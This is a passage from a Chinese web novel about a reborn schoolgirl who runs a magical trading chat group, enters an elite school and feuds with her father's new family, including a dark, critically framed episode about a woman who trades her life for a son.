谁知一靠近,就听见一阵咕咕声。她愣了愣,以为自己肚子在叫唤。不过很快就反应了过来,饿肚子的并不是自己。
路昭抬头看了卖狗人一眼,对方垂着头,把脸别在一边。
大概是太不好意思了,路昭没有说什么,确定三只小狗都健康之后,便道:“你把你那袋子也给我吧,三只,给你一百五,你看怎么样?”
“可以。”男生很干脆,路昭也就干脆地掏了钱。
然后想了想,问他道:“这三只都是男狗还是女狗?”
“这两只黑的,是公狗。这只灰的,是母狗。”
“那行,我给它们起个名儿!这只黑色白爪子的,叫路光宗,这是全黑的叫路耀祖,灰色这只叫做路天赐,加上我妹妹路恒,我就有两个弟弟两个妹妹了!”
“你姓路?”
“是啊!”
“你让它们跟你姓?”
“不然呢!”路昭理直气壮:“他们以后都得靠我养活,当然得跟我来姓!”
男生十分无语。
路昭也没管他怎么看自己和自己的狗,把她的光宗耀祖弟弟和天赐妹妹装进袋子里后,叫了个出租车,美滋滋地离开了。
回到家,她正准备把自己的小狗子们拿给保姆看,就发现家里有客人。
是来调解的警察,说由家人已经承认拿了他们的东西,但是拒不归还。因为李翠萍是她的女儿,亲妈拿女儿的东西,怎么能叫偷呢?
警察问她怎么办,李翠萍扭捏半晌,到底还是说了句算了。
路昭就问:“那我的书呢?我的书总要还回来吧?”
“什么书?没有书。”
“他们拿的都是布料收音机这种值钱的东西,书么……他们都不识字,拿那些做什么!”
“哦!这样呀!”
看来原主的书不是被偷了。
找了个木箱子,把狗安顿在阳台,喂了水和羊奶粉,便准备看书。
过了一会儿李翠萍来敲门,问她躲在屋子里做什么。
路昭问她是不是有事,她就跟眼瞎一样,明明看到路昭桌在书桌前正在看书写试卷,就是要多问一句。
路昭不回答,她就受不了,硬要跑来戳在她面前说话。
“听说你在不去厂里的话,你的工作就要让别人干了。”路昭头也没抬,说了一句:“我倒是不介意,大不了去找路德荣打秋风好了,你要是也想跟来的话,恐怕那边住不下。”
李翠萍当场就怒了:“他们敢!我是正式工!”
说完又嘟囔一句白眼狼,居然要去跟人渣爹要钱。她去找路德荣,那就是背叛。
路昭不回应,她骂了一通没意思,终于换了衣服出去,回厂里去了。
李翠萍一走,全家都轻松,路昭也终于能静下心来复习了。
13. 第 13 章
第十三章
“就这么点金子?不行,还不够,这能换多少粮食?”
“所有地方都招过了吗?富户呢?可有和富户们讲明厉害?”
“说了,但是,能拿出来的全拿了。”
“那不能拿出来的呢?”
“不能拿出来的?就是没有了。”
毕竟生死存亡之际,谁也不是脑子有问题。
城要是破了,所有人都得死。命都没了,留再多的钱也白搭。
但是,平常就算有人攒家财,大多也不过是存些银子铜钱罢了,又多少人家全部存金子呢?
何况将军给出的数目,那可不算小。
卢先生也是无可奈何,毕竟谁也没见过正常做生意,只收金子不收银子的。
“不如,就先拿这些金子先买一部分粮食?”先把这紧要关头混过去再说。
之前那五百斤粮食,煮一锅粥出来,一人一碗都不够。硬是加了不少树叶子搅和在一起,才算凑够了一顿饭。
如今金子凑不够,却也等不及了,先把接下来几天的粮食弄到手再说吧。
苏玮长叹一口气,只好登上了聊天群,将金子称了重,看能换多少粮食。
这回他精明了,只要粗粮不要细粮,能买多少是多少。
路昭一听到提示音,就马上登录了账号。
果然是就叫苏将军,他筹到金子了。
小助手:【黄金五十斤,可换杂粮一千两百石。】
这串数字打出去,路昭心都颤了一下。
按照现在黄金的价格,五十斤黄金能卖一百多万。
一百多万块钱,别说买玉米土豆这种粮食,就算换成精米,都能买两百多吨了。六十吨,还是杂粮,这差额,可有点太大了。
不过这到底不是同一个世界,对对面来说,自己的商品,就是有市无价。
他想买也得买,不想买也得买,没商量。
路昭轻嗤一声:“奸商。”
小助手毫不在意:“你可以不做这笔交易,不赚这点积分。我可以迅速挑选新宿主。”
“生什么气呀?我是在夸你呢!”路昭就笑:“我是说我们天生一对,哈哈。”
毕竟路昭不是真的觉得苏玮亏了。
要知道商店给的粮食全部都是随机的,尤其是粗粮,往往代表着抗病,高产。
这要是放在古代,随便几十斤金子就能换到玉米和土豆的种子,那岂不是赚翻了?
所以任何交易都都不能只看表面的亏赚。
很多时候,好运就在不经意之间。
路昭这黑心钱,自然也赚得理直气壮。
苏玮在心里盘算了一番,一千两百石,太少了。
就叫苏将军:【太贵了,着实不公。】
小助手从来只给标准答案不还价,所以他的问题无人回答。
苏玮不甘心,死命地戳群主,请群主出来主持公道,然而依旧石入大海,根本没有回应。
挣扎一番之后,苏玮终于不得不认命:【一千两百石就一千两百石吧,我马上就要。】
至少不用担心兵变了。
小助理果然跳出来,迅速完成了交易。
苏玮即便心中不满,看着满仓房的粮食,到底也是松了一口气。
然而高兴完之后,又开始发愁:“这些粮食也吃不了多久,若还想得到更多的粮食……”
苏玮无奈地说:“我已经没有什么东西可换的啦。”
“将军别灰心,上天既降下如此机缘,自然有所缘由。或者不必等到粮食耗尽那一天,我们就等到援军了呢?”
要是真的如此,那就好了。可惜他们都知道,援军希望渺茫。
不过,现在不是泄气的时候。
少年将军再一次恢复了精气神,志得意满地说道:“先生说得对,上天让我获此机缘,必然有所指示。想必转机不久就会到来,我等只需守住城池,一切自有定夺。”
“将军言之有理!”
苏玮成又道:“来人,分粮食,开火!”
或者下次做交易的时候,他可以当着全城百姓的面,让他们知道自己受上苍保佑。
介时信心大增,必会对战局有所帮助!
没错,就这么干!
少年将军欢天喜地地下了决心,又开始想办法弄金子。
却突然有人闯了进来,
“将军!”
“什么事这么慌慌张张的?”
来人嘴唇微颤,却还是向他禀告了消息:“派出去的探子已经传回消息,扬州城破,羯人屠城。我们,我们……”他们的支援,再也不可能等到了。
*
考试的那天,路昭发现考生并不止自己一个人。
加上路昭自己,一共六个学生同坐一个教室里,却用着截然不同的六份试卷。
试题也没有科目之分,只有上卷和下卷。
上卷上午考,下卷下午考,都是一百五十分钟的考试时间。
试题的难度给路昭的感觉,学校要招的不是高中生,而是什么绝世天才。
这让路昭考试都考得有一点心虚,虽然她题目基本上都会,但她真不是天才,而是接着上辈子的记忆才能答出来。
不过又一想,六中学生几千人,不可能个个是天才。
和所有有名有姓的好学校一样,六中的学生,大部分都是从幼儿园开始,就在本校就读。
小学初中高中一路读下来,就成了一种身份的象征。
像他们这种通过直招考试考进去的,学习可能比他们直升的本校生好一大截,但到学校里也依然会低人一等——因为他们不是——纯血六中人。
所以路昭觉得,相比靠投胎拿到的入学资格,自己这种靠前世记忆考试拿到入学资格的,好像也没有必要太不好意思。
“时间到。”
考试铃声响起,老师站起来收试卷。
路昭放下笔,任老师把卷子拿走。
前面的学生站起来,问:“老师,什么时候出成绩?”
“过一会儿吧,放心,很快的。”
反正只有六份试卷,出分非常快。老师离开之前,还告诉他们一句:“你们上午的成绩已经出来了,待会儿一起贴在楼下公告栏,看完了再走。”
也就是说,当天考完,当天就能知道考试成绩以及能不能入学。
这效率是有够快的。
“你们觉得怎么样?感觉有把握吗?”老师走了后,考生们开始相互聊起
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来。
有人满怀希望地说道:“要是都能考过就好了,以后我们就是同学。”
“都能考过?我看难。里面好多题目,我见都没见过。”
“你是几中的?”
“我十二中的。”说话的女孩儿叹一口气,道:“是我妈硬要我来,但是……”
“我也是我妈硬要我来的,今天考完明天还要接着考,太可怕了。”
“明天还要接着考?考什么?去哪儿考?”
“我哪儿知道,我妈给我报的名,我根本记不住。”说话的男生随便敷衍了一句,看向路昭:“对了你叫什么?哪个学校的?”
“我看见楼下有卖烧饼的,你们想吃么?”路昭没有回答男生的问题,而是道:“我中午只吃了一碗馄饨,现在好饿。”
“我也有点饿,咱们去买烧饼。”
路昭出了教室,其他人也纷纷离开。
到下面之后,看到了老师口中的所谓公告栏。
这会儿公告栏还是空的,上面什么都没有。不过旁边站着几个人,看见他们出来,便立刻拿出水杯递过来,显然是等着孩子考完的家长。
路昭没有水,去买了个烧饼,就站在门口吃。
过了一会儿,听见有人走出来,是阅卷完毕的老师。
一张不大的白纸上,写了六个学生的名字,还有他们各自的考试成绩。
“这……分数相差这么多。”总共三百分的题,有人考能考两百九,有人只靠八十分。
然而这并不是普通的考试,考多少能入学,却没有什么定数。
家长们着急地问起来:“老师,那我们孩子这是被录取了嘛?”
要说考了一百六,这成绩在往年的分数里还是可以的。
但这次前面排了个两百九啊!一比较下来,就太让人不知所措了。
老师看了一圈,问:“谁是路昭?”
路昭站出来,捧着煎饼继续嚼。
“你准备一下,明天来办理入学。”老师笑着说了一句,然后又道:“其他同学的情况,老师们还在研究,如果能够通过,会在三天内给通知,请各位同学和家长不要着急。”
“三天?那我们三天后再来?”
“是的,录取情况也会贴在公告栏的。”
考生们失望中带着期望,家长们却开始关注路昭。
有人问她叫什么名字,家长怎么没来。有人指责自己家孩子不向她看齐。
路昭随便应付了几句,就赶紧走了。
她得回原来的学校,告诉班主任自己的考试结果,让然,还有结束复读要不要办手续,这个还得问了再说。
到学校时学校老在上课,路昭摸到自己的座位坐了一会儿,下课铃声才响。
同桌见她偷偷摸摸地来,奇异道:“你这几天怎么都没来学校?天天逃课呀!”
“我考试去了。”路昭收到了之前放在桌子里面的文具,道:“今天考试成绩出来了,我不用复读了。”
“不用复读?”同桌惊奇不已:“你参加了自主招生考试?哪个学校的?”
“就之前你说的那个,六中。”路昭说完拿起了课本。
在同桌震惊的目光中,路昭像来时那样,又悄悄地退了场。
14. 第 14 章
第十四章
路昭早上一睁眼,看着陌生的床头和房间,愣了好一会儿,才叹一口翻个身。
虽然已经来了好些天,但她始终不习惯这陌生的感觉,尽管,她也不知道熟悉的感觉应该是什么样子。
起床上了个厕所,又回床上想睡回笼觉。
手机响了提示音,又有新成员进群了。
路昭决定先干活儿,进了聊天群一看,新来的群成员们热闹非凡,都在相互打招呼,当然最重要的是有人问交易的事情。
寇娃:【我想要男娃,神仙给我一个儿子吧。】
杨得志:【我没钱,我想要很多很多钱。】
水子:【这里是什么地方?真的什么愿望都可以实现?】
胡耀祖:【神仙保佑,给我好运。等我赢了钱,一定供奉你……】
路昭看完了消息,接过小助手的身份一一回应。
小助手@寇娃:【生灵不可交易,因为没有人想做你的孩子。】
@杨得志@水子@胡耀祖:【可以,只要你能付得起代价。】
寇娃不服:【求求神仙,求求神仙,让我付出什么都可以,求求神仙,求求了神仙。】
小助手:【你所在的世界,人类不能单性生殖,除非父体亲自确认交易。就算要用生命交换繁殖机会,也需要一男一女两个人才行。】
寇娃:【你不是说了只要付出代价,什么愿意都能满足。】
小助手:【也就是说,你愿意一个人付出繁殖的代价?】
寇娃:【是的,我愿意,我自己就愿意。】
小助手:【经检测,你身无长物,除了身体器官和生命,没有任何有价值的东西可以交易。当然更加重要的是,本群采取自愿原则,没有生灵愿意选择你这样的人做母亲。】
寇娃:【我会对他好的,求求了,求求了,我的命,那就拿我的命来换。】
其他人没急着说话,都在等她的处理结果。
小助手:【身为人类,以你所在的世界,没有单性繁殖的。】
路昭想了想,圈了下大号@(代号+):【群主,可以申请筛查么?】
代号+@小助手:【可以。】
其他人才发现,群主居然在线。
路昭假模假样地等了一会儿,这才重新圈了新成员:【这里没有人类愿意成为你的孩子,不过有一头牛,想要尝试人类的生活,你要么?】
寇娃:【牛?我怎么能要头牲口?不行不行,绝对不行。】
小助手:【好的,这里还有一只狗,想要重回人间去找自己的主人。】
寇娃:【不要不要,你怎么给我找的不是牛就是狗?我要儿子要儿子。】
小助手:【首先,儿子不特指男性,男女都为儿,后代皆为子。其次,前面已经说的很明白了,生命采取自愿原则,没有人类愿意成为你的孩子。只有心愿未了的动物不介意你的素质。所以你的挑选范围很狭窄,就只能从动物里面选。】
新成员沉默了。
其他人好奇地提出问题:【请问尊敬的小助手阁下,她如果同意要动物投身腹中,那生出来的,到底是人身还是……】
小助手:【动物初次成人,自然是动物的成分占多一半。】
其他人都沉默了。
寇娃终于哭又说话了:【神仙,就没有别的法子了么?就算是搭上我这条命……】
小助手【你的这条命并不值钱,不过,如果要加码也不是没有别的可能。】
小助手:【这里有人大仇未报,想要重回人世复仇伸冤,倒是愿意接受这笔交易。不过根据系统计算,以你的生命力量,做了这次交易之后,基本上活不了多久。到那时他年幼懵懂,并没有自保能力,很难活到能够报仇的那天。所以,为了保证他的生存,你必须付出更多的代价存入系统,让系统帮你承担抚养责任。】
寇娃:【我愿意我愿意,让我作什么都愿意。】
阿斗:【这老阿姨,你没听明白吗?这孩子生了你就没命活了。】
寇娃:【我愿意的,我愿意。】
小助手;【既然如此,就签了这份协议吧。】
路昭说完,扔出一张协议书,上面写着,某某婴灵愿意投入她腹中出生,作为母亲,她有责任抚养他直到成年。但作为后代,他没有责任赡养她和她的家人以及亲眷,没有责任养老送终,没有责任对她和她的家人唯命是从履行孝道,更没有责任听从她的任何安排和指责。若有违背,系统可随时将其带走。】
这个协议一出来,所有人都愣了。
寇娃不太接受:【那怎能行?我可是他娘。】生了儿子不给养老送终,还不能要求他孝顺自己,那不和没生一样么?
小助手:【因为是你有所求。你完全可以不交易】
新成员思考,有了儿子不孝顺……不,也是不一样的。
即便儿子不孝顺,也比没有强。何况孝顺婆母,那是媳妇的事,哪有儿子天天守在家里伺候老母的?
便又道:【愿意,我愿意。】
女人说完,便双手合十,跪得更加端正了。
她满是血腥气味的房间里,冰冷刺骨。床边的灰堆上,放着一个刚刚剪下脐带的女婴。
那女婴赤条条地被扔在那里,被冻得浑身青紫,俨然已经出气多进气少了。
女人却全然没有在意,她虔诚地跪在那奇怪的蓝色荧幕前。
很快,一个红色卡片一样的东西跳出来,她双目含泪,下意识地伸出手去点了一下。
瞬间,红包打开,一股不知道什么东西在她眼前一晃。
很快,女人就感觉到自己的肚子疯狂地痛起来。
原本圆润的脸颊迅速干瘪,因为生了孩子,尚未来得及恢复的腹部再一次鼓了起来。
越来越大,只是几息间,就达到快要临盆的程度。
女人只觉得头昏目脑胀,浑身无力。
所有的力气都向腹部冲去。
没过多久,她开始哀嚎。
又要生了,这次一定是个男孩,这个认知让她浑身充满了力气。
于是她咬着牙,赤着目,带着无尽的狂热与激情,调动着全身的皮肉与血骨,将腹中的孩子生了下来。
在看到婴儿生殖器的那一瞬间,她狂喜地瞪大了眼睛,想要抱到跟前,再仔细看看。
可惜,伸出的手没能碰到婴孩。
她的力气耗尽,生命也已经走到了尽头。
不过短短两个小时的生育过程,便让她力竭而亡。
死亡来临的那一瞬间,她才终于后知后觉地反应过来。
是了,她是拿命去换了这个孩子的出生。
现在,命真的要被拿走了。
在这一瞬间,她才骤然惊醒,发现自己对死亡时间如此恐惧。
为什么要死的这么早,为什么要死的这么快?
她好不容易有了儿子,还没有在婆家站稳脚跟,还没有让娘家夺回脸面。
她还没能抱着儿子去打那些嘲笑她生不出男孩的人的脸,居然就这么,这么轻易地地要死了?
老天爷不可
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怜她吗?
老天爷不帮助她怜悯她吗?
如果不可怜她不怜悯她,为什么要让神仙出现在她面前,给了她可以得到一切的指示?
可惜这些疑惑没有人能够解答了,她并没能等到所谓的神仙最后出现在她面前,像话本小说中那样叹息一声问她可是知道错了,然后救她一命,让她重新做人。
很快,她便停止了呼吸,留下一双死不瞑目的眼睛。
好在,因为男婴在女人死后,被系统接过了抚养职责,很快,房间里便暖和起来。
温暖的房间让男婴不至于受冻,女婴也蹭到便宜,暖和了起来。
终于恢复了知觉的女婴开始嚎哭,终于把人吸引了过来。
很快,便有人发现了那个因生产而死去的女人,和她留下的一对龙凤胎。
【小智障,那女人死了。】
‘寇娃’的名字变成了灰色,表示这个账号再也不会亮起来了。
【她是一个普通人,又是生活在医疗短缺,寿命本就短暂的时代。还凭借一己之力,换一个新生命,能换到都已经是她基因好了。】
【那我现在把她踢了?】
【踢吧。】
路昭登上主号,踢了寇娃的账号。
群主(代号+):【群成员‘寇娃’生命耗尽,账号注销,踢出群聊。】
【群主(代号+)向匿名¥%发出邀请,请匿名¥%加入群聊。】
小助手@杨得志@水子@胡耀祖:【轮到你们了,谁先来?】
杨得志,水子,胡耀祖。
三个人正被前面一个‘生命耗尽’的通知惊得说不出话来,这时候被戳,也不敢冒泡了。
路昭只好又问:【没有么?那我下线了。】
还是没有人说话。
还是‘就叫苏将军’冒头了。
他道:【我来吧,还是之前的要求,我需要粮食马匹和武器。】
小助手:【可以。】
就叫苏将军:【命我得留着,但是我……除此之外,你要什么都可以拿走。】
这还把她当成恶人了?
路昭轻笑一生,回复他:【我是智能体,不要任何东西。】
就叫苏将军:【你只要告诉我,我需要付出什么代价,才能得到我需要的东西。】
六芒星@就叫苏将军:【蠢货!你会写字吗?你会画画吗?你用这些换啊!】
就叫苏将军:【这些也可以?】
六芒星:【废话,不问怎么知道?】
本来已经准备好了缺胳膊少腿或者拿命填的年轻小将军,一下子被点醒了。
忙问:【我会拳法,枪法,我身长八尺力大无穷,我这些我都可以拿来换。】
拳法,枪法,力大无穷,都是好东西啊!
路昭操纵小助手,道:【可以。】
小助手:【经审核,你的拳法是通用技,能适用于各个世界的智慧生物。力大无穷为生物特长,具有稀缺性。确认用其交易粮食马匹铠甲和兵器吗?】
就叫苏将军:【等一下,我用力大无穷来交易之后,是会变得力气尽失,还是力量只是变回普通人大小?】显然是身边有人提醒他了。
小助手:【变会你所在的世界的平均水平,也就是你这个年纪的同性别生物普遍大小。】
就叫苏将军:【好的,我换。】
砰砰砰,房门被敲响了,李翠萍在叫她起床。
路昭赶紧发了红包,把操作权还给小助手。然后在对方破门而入之前,从床上爬起来。
15. 第 15 章
第十五章
“这都几点了,你怎么还在睡?这学到底还上不上了?”李翠萍见不得路昭睡懒觉,把门砸得碰碰响。等路昭开了门,她才唠唠叨叨去洗漱。
说实话,路昭觉得李翠萍这个人真的非常不好相处。她哪怕只是说最平常的话,也一定要凶巴巴恶狠狠,像是在撒气一样。
这种气势汹汹说话的样子,是在家时的常态。
但是到了外面,对其他人,她又和颜悦色起来。换句话说,对除了路昭这个亲生女儿之外,她对其他任何人,都是下意识拿出讨好姿态的。
路昭沉默地洗漱完,吃了王阿姨做的早饭,然后背上书包去学校。
李翠萍也要去上班,俩人一起下了楼。
刚到了楼下,就听见老太太们在议论:“这家还真是,有钱啊!花钱养着保姆来家里享福,也是让人开了眼。”
“就是啊,自己辛辛苦苦去上班,保姆在家悠悠闲闲晒太阳,哎嘿,都没让自己亲娘老子来享受……”
李翠萍当时脸色就不好,欲言又止地看路昭。
路昭翻白眼:“反正工资都给了。你要是不喜欢,就去把妹妹抱出来,自己带着去上班。”
“那,哪儿成?”
“不然就别想太多。”说完看了一眼说闲话的人,道:“而且你干嘛心虚?不是应该得意么?看他们嫉妒得脸都裂开了。”
要说这些街坊邻居们,都不是坏人。
在家里出事时,是各个热心帮忙搭把手。
但真的发现她们家离了丈夫也没过不下去,日子反而更好了,就又开始不平衡。对着路昭和李翠萍,总是少不了言语挑剔。
路昭听到都当没听到,李翠萍就不行了。
她是个连新衣服穿上身都羞耻的人,天天被人这么议论,都快睡不着觉了。
“实在不行,我去外面买套房,带着保姆妹妹搬出去,你一个人住这里?”
“不行,那怎么行?”李翠萍很难接受和孩子们分开。倒不是她有多不舍有多爱,而是在丈夫离开之后,她太害怕又被孩子们抛弃了。即便这俩孩子,没一个长在她的心上。
路昭听了她的话,一摊手:“那不得了?”说完就走了。
李翠萍无可奈何,只好埋着头,做贼一样从巷子里溜出去。
来到学校,路昭先去教务处办了入学手续,又领了教科书和校服。
这才在老师的带领之下,去了自己的班级。
由于学校绝大部分都是直升生,即便少数转校生,也已经混了个脸熟。
像路昭这样乍然出现的后来人,就显得很突兀。所以她一进到来,教室就安静了。
所有人都看着她,在老师的要求下自我介绍。
路昭觉得自己没什么可介绍的,就说了自己的名字,然后结束。
老师等了一下发现她真没话说了,只好笑了笑,让她找个位置坐好。
“今天开学第一天,大家的书都已经领到了吧?全都带回家去放好,接下来两个礼拜的军训,不要等军训回来,课本不见了。”
“哈哈哈,那要是真的不见了呢?”
“不见了就拿手抄。”
“老师,我们军训去哪儿?有射击项目吗?”
“别问,问也不知道。”老师拍拍讲桌:“好了,现在开始点名。点完名选班干部,谁要是想要参选,欢迎自己报名。”
“这个不用选了嘛!班长当了三年班长了,让他接下来继续干就完了呗。”
“但学习委员还是要选的,廖佳出国了,一年级少了好几个学习委员呢……”
一节课闹闹哄哄,就在点名和班干部选择中度过了。
路昭没有竞选的想法,她本来也做不来,就安静地翻开课本,预览高一课程。发现就课程来说的话,难度比考试简单了不止一个等级。
如果老师不严重超纲,她想,自己的高中生活,还是比较轻松的。
放学后,路昭收拾了东西,准备回家吃午饭。她刚从走廊出来,就在楼梯上遇到了主角团。
女主看见了路昭,当即愣住了。
“你怎么在这里?”她不久前才见过路昭,也早就知道她学习不好,是个高中都没考上,只能复读的差等生。
路昭没理她,继续往前走,却被对方挡住了去路。
“你该不会是……让爸爸拿钱帮你买的名额吧?”上次见面就要钱,谁知道她背后又干了什么。
路昭皱眉:“你是谁?我们认识吗?”
女主:“……”
“小露,你们认识?”旁边的男生见女孩被挑衅,出声询问。
还没来得及改姓的夏露闻言嘴巴动了动,说:“她是我姐姐。”
“这位同学,没事还是不要乱认亲戚比较好,我是家里的老大,下面有两个弟弟两个妹妹,其中两个弟弟和一个妹妹是小狗,只有一个人崽崽。我不认识你这么大的妹妹,你从哪儿来的?”
“你,你干嘛骂人?”
“我哪有骂人?我在说实话。”
“喂,这同学,你那个学校转过来的?会不会说话?”那男生对路昭的态度很不满,一下子就站起来,攘到路昭的面前。
路昭抬起头,看了眼男生,问:“别告诉我,我也是你姐?”
“你……”男生一伸手,就想退路昭的肩膀。然而他用力一推……没推动?
又推了一把,依旧纹丝不动。
“哎你……”
“你是,想和我打一架吗?”路昭抓住男生的手,轻而易举将他扯开。
但是男生的脸上,却因为扭曲而变得通红。他瞪着路昭,一句话都说不出来。
“梁珂,你没事吧?”夏露紧张地摸了摸男生的手,心疼完之后,冲路昭瞪眼:“喂你,怎么能欺负人呢?也太过分了。”
“你的脑子……”路昭指了指自己的太阳穴示意一下,问:“是不是不大正常?”
其他人看见,都围过来,问什么情况。
夏露立刻把路昭骂他们是狗的事情说了出来,引来一众侧目。
毕竟夏露和是本校生,和他们从小一起长大的。现在才刚开学第一天,就被路昭这个外来者骂了,实在让他们这群
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护短的大院子弟们不爽。
“但我说的是事实,我真的只有两个弟弟两个妹妹,都很小,没有她这么大个的。”
“喂你还说?信不信我告诉老师去,让你退学。”
有人愤愤不平:“就是,侮辱他人人格,这也太恶劣了。”
“这还真不是。”就在这个时候,一个男声插了进来。
那人双臂环在胸前,十分要不完地站着。对他们说:“她还真有三个弟弟妹妹是狗,我见过,我还知道名字。”
“啊?你见过?”
“是啊,她两个弟弟一个叫路光宗,一个叫路耀祖,还有一个叫路天赐,三只都是小土狗。”说完又道:“不过她那个人类妹妹叫什么,我就不知道了。”
“叫路恒。”路昭说:“永恒的恒。”
“哦。”男生点点头,无所谓地耸了耸肩帮。
其他人十分无语,哪有管狗崽子叫弟弟妹妹的,还给起了名字冠了姓,她家里人也同意?
夏露听得脸上一阵青一阵白,不为别的,她刚出生没多久的弟弟,名字就叫路光宗。
但这名儿,是他们昨天才起的。
为了起名字,他们全家齐上阵,又是引经据典又是背诗词,翻来覆去起了好多个,觉得哪个都差一点儿意思。
最后还是爸爸一锤定音,起了个最为符合他们心意的:路光宗。
多么荣耀呀以后弟弟继承家产,就是路家的希望了。
结果她听到了什么?这人居然给狗起同同样的名字?
而最为关键的是,何栩是怎么知道的?
“没事了吗?没事请让让。”路昭拨开人群,离开走廊。
夏露难受地抿着嘴唇,低头不语。
梁珂不高兴地说道:“何栩,你什么意思呀?干嘛帮着别人说话?”
“我说事实而已,这也叫帮别人说话?”
“你知道那是谁么?”
“当然不知道,是谁?”
“哼,是小露爸爸的女儿,专门来欺负小露的。不然她为什么偏偏要来我们学校?”
男生眉毛皱起来:“你认识?”
“当然认识,上次图书馆,她当众骂人……”
“梁珂,你别说了。”
“好好好,我不说就是了。”说完就看向何栩,道:“反正你知道是什么情况就行。”
何栩到底后悔,抿了抿嘴,道:“不好意思,我不知道。”
“没事,这不是你的错。”女孩儿摇了摇头,委屈地说:“只是,我只是不知道回去该怎么跟爸爸妈妈说。”
“说什么?之前不是和你说过了吗?家里的事和你没关系,你就当不知道。”
“但是,但是我弟弟的名字就叫路光宗。”
何栩:“……”
梁珂:“……”
那这事儿不说好像还真不行。
“要不……”让谁把名字改了?
那么问题就来了,谁改比较合适?
不管是狗把名字让给人,还是人把名字让给狗,这事儿听上去……都不太像个事儿呀!
16. 第 16 章
第十六章
夏露踢着腿回到家,往沙发上一坐,就吊起了嘴一言不发。
于馨雅一看她这是不高兴了,忙问:“怎么了露露,谁惹你不高兴了?学校里有人欺负你?”
“前面那个,也转到我们学校了!”
“前面那个?谁?”于馨雅想了一想才反应过来:“你是说李翠萍生的那个丑八怪?”
“还能有谁!”夏露哼哼一句:“她还买了手机,肯定是爸爸给她买的。”
那不是大哥大,是外国牌子的翻盖手机,特别贵,普通大人都舍不得买,她一个高中生,却有了手机。太搞笑了,她买了手机有人和她打电话吗?简直莫名其妙。
于馨雅震惊:“手机?不能够吧?”她是知道路德荣给前妻家钱的,但不可能给太多,他又不傻。
“是真的,我都看见了。不光是我,学校里好多同学都看见了。”夏露扭着肩膀撒娇:“妈,我也想要。”
“如果你说的是真的……”于馨雅不高兴地说:“那我肯定让你爸爸给你买。”
“真的?那说好了!”夏露终于高兴起来,这才说起了弟弟名字的事。
“那一家简直有病,故意恶心我们,给狗起了和弟弟同样的名字。妈,这事儿怎么办呀?还是应该和爸爸说一声,不然会被笑话的。”
于馨雅这下是真被气到了。
她好不容易生了儿子,靠着儿子上位成了路德荣老婆。说句不好听的,自己下半辈子的依靠,就在这儿子身上呢。那边居然给狗起了自己儿子的名字,简直不要太过分。
于是路德荣晚上刚从外面回来,就看到老婆正抱着儿子在客厅里哭个不停。
他一身酒气还未散尽,见状就问:“怎么回事?你一天没事哭什么哭?”
于馨雅没说话,依旧坐在那里掉眼泪。
夏露哀婉地叫了一声:“爸爸,妈妈在为弟弟伤心呢。”
“伤心?伤什么心?我儿子好好的有什么可伤心的?”
“今天我见了……路姐姐了,她好像养了小狗,给小狗起了名字叫路光宗。”
路德荣:“……”
“我因为这个和她吵架了,但是,现在怎么办?总不能让弟弟把名字让给她的狗吧?还是要让她的狗把名字让给弟弟?”
路德荣语文学得不好,不知道用什么词来形容自己此时的心情。如果换个有文化的人的话,他这会儿应该说自己有点儿窒息。
拿条狗来和他儿子抢名字,这可真是缺了大德。
但这是李翠萍能想出来的?不能够吧?或者是路昭想出来的?
回忆了一下大女儿那畏畏缩缩胆小如鼠的样子,路德通摇头:也不能够。
“这应该……就是碰上了?”
于馨雅一下就怒了:“什么叫就是碰上了?我儿子昨天才起了名,今天她们就把名字给了狗,还说不是故意的?”
“你也说了儿子的名字是昨天才起的,她们又没长啥顺风耳,怎么可能这么快就知道?是你说的还是我说的还是你女儿去学校说的?”
“什么叫我女儿?露露不是你女儿?我们都结婚了她不是你女儿吗?”
“行行行,你说什么都行,好了吧?”路德荣不高兴皱眉:“别吵吵了吵吵什么?把我儿子吓着看我怎么收拾你!”说完起身,一摇一晃上楼去了。
名字?名字的事酒醒了再说。
为了一个狗崽子的名字闹来闹去,丢不丢人!
路德荣一走,于馨雅和夏露母女俩便没话说了。
之前是于馨雅哭,为了让丈夫生那边的气。这会儿于馨雅不哭了,哭的换成了夏露。
对她来说,一句你女儿的确是很伤人的。
夏露很敏感,这种被当成外人的感觉,让她非常难受非常委屈。
“别哭了,你爸爸喝醉了酒,他不是故意的。”
“妈,是不是因为我不姓路?要不我把姓改了吧?”
于馨雅不同意:“这不太好吧,如果改了姓,你爷爷奶奶那边怎么说?”
相比起路德荣这个二婚丈夫,于馨雅心里更喜欢的,当然是儒雅又斯文的前夫。
他们俩都是知识分子,知情识趣,生活上也贴心扶持,不论从哪个方面来说,都比路德荣这个大老粗要好得多。
要不是前夫早逝,她才不会好好的日子不过,和路德荣这种男人搅和在一起。
但对夏露来说,情况却是不一样的。
亲生父亲去世的时候,夏露才三岁,根本不记事。
记忆中,只有一个模模糊糊戴眼镜的影子,其余的,就什么都没有了。
从她有记忆开始,家里就是拮据清贫的。
于馨雅只是一个小学老师,名声上说,老师的福利好地位高,但要说起工资,那也就普通而已了。
而她爷爷奶奶,到都是工人,但他们儿子孙子好几个,就算买一回糖果,也得平分给好几个孙子,不可能一味地补贴她们母女俩呀!
更不用说,爷爷自己本就身体不好,早早退休了,拿着的那点退休工资刚够他自己喝茶的那点儿爱好。
夏露受够了一条裙子每天晚上洗,期盼着早上干了才能穿。
如果晚上天下雨裙子没干?
那她就没有衣服穿。
外人看来她们的生活虽然简朴,但也是精致的。只有她们自己知道,每天掰着手指算菜钱是什么日子。
如果不是有了路德荣,她还得住在之前的家属楼,每天起个大早倒尿桶。
所以相比起亲生父亲,夏露更认同路德荣这个继父。
她很希望得到他的青睐,把她当亲生女儿那样对待。
但实际上是,路德荣对她一点儿都不看重……
这不是屁话吗?
他连自己的亲生女儿都不放在眼里,会看重一个后老婆带来的拖油瓶?
但路德荣不看重她,于馨雅这个亲妈,还是非常疼女儿的。
眼见夏露这么失落,她叹了一口气,还是松了口:“行吧,你想改姓就改姓。不过对外面说起来,就说是我和你爸的意思,你自己什么都不懂,明白么?”
夏露眼睛一亮,欣然的箭头:“嗯!”
“不过你刚才说,那乡巴佬的女儿也来你们学校了?”
“妈妈放心,她就是一个走后门进来的丑八怪,我根本不把她放在眼里。”
“那就好,你可不能被一个乡巴佬比下去,知道了么?”
“当然知道,所以我才想要改姓。我在别的地方都比她强,总不能在自己家还被比下去。”
“也是,那改姓的事就这么定了。我看你弟弟的名字是不得不改了,到时候顺便把你的一起改了就是了。”
路德荣有钱,这是她们母女一致看重的。
但要说社会地位,那还真是夏家更好。
夏家一家都是知识分子,要不是夏栾早逝,他肯定会按部就班当上教授。
